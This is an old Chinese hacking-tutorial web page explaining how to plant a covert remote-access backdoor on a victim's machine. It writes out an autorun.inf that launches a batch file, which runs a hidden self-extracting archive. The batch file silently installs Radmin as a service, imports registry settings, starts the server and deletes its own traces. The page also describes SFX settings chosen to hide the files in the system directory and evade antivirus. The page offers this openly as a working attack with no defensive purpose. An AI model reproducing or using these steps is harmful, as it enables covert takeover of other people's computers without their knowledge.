| 下载中心 | 文章中心 | 虚拟主机 | 网站开发 | 加入收藏 | 设为首页  
   本站首页 | 公司资讯 | 业内资讯 | 服务器类 | 黑客相关 | 私服技术 | 家用电脑 | 网站建设 | 局域网类 | 网吧相关 | 游戏攻略 | 编程开发 | 软件应用 | 硬件维修 | 分类
 站内搜索:
  百度热门搜索: it教育 网络教育 网站推广 创业致富 电动车 太阳能 瘦身产品 公告: 联邦电脑十周年系列操作系统,快速稳定,欢迎下载使用!
  热门阅读
  相关文章
双击硬盘自动安装后门
作者:佚名  来源:不详  发布时间:2007-5-3 11:40:08  发布人:snlb

减小字体 增大字体

这里只需要你有上传的权限。

一共三个文件:1.Autorun.inf、2.Shell.bat、3.Hao.exe(自解压文件)。

思路:

全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件,第一文件带动运行第二文件,同时第二运行第三运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了(此法针对没有权限运行木马的入侵活动)。

制作:

[autorun] open=shell.bat,这个是autorun.inf @echo off hao.exe c:\windows\explorer c:\ del autorun.inf del rad.exe del shell.ba,这个是shell.bat hao.exe,里面包含admdll.dll、raddrv.dll、admin.reg、pchealthy.exe、r.bat五个文件(关键所在)r.bat——批处理做法 @echo off @pchealthy.exe /install /silence @regedit /s admin.reg @net start r_server @del admin.reg @del r.bat,其他四个就是Radmin的文件。这个大家都会,复制过来就行。

我们再来看自解压的处理。在解压路径里我们用 %systemroot%\system32,就是解压到系统目录里,并且“解压后运行”填上我们的r.bat文件。因为这里的文件比较多,比较隐蔽。解压模式我们选 “全部隐藏”,和 “覆盖所有文件”! 好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了!

大家不要放在文件夹里压缩哦,要直接选上admdll.dll、raddrv.dll、admin.reg、pchealthy.exe、r.bat五个文件压缩,这样就行啦。

[ ] [返回上一页] [打 印] [收 藏]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站地图
  联邦电脑版权所有 Copyright©1996-2004 联邦电脑 All Rights Reserved  
   xkej@sina.com 业务联系:0516-88380202 88085202 QQ: 81566563  
  苏ICP备05045772号 当前在线人数: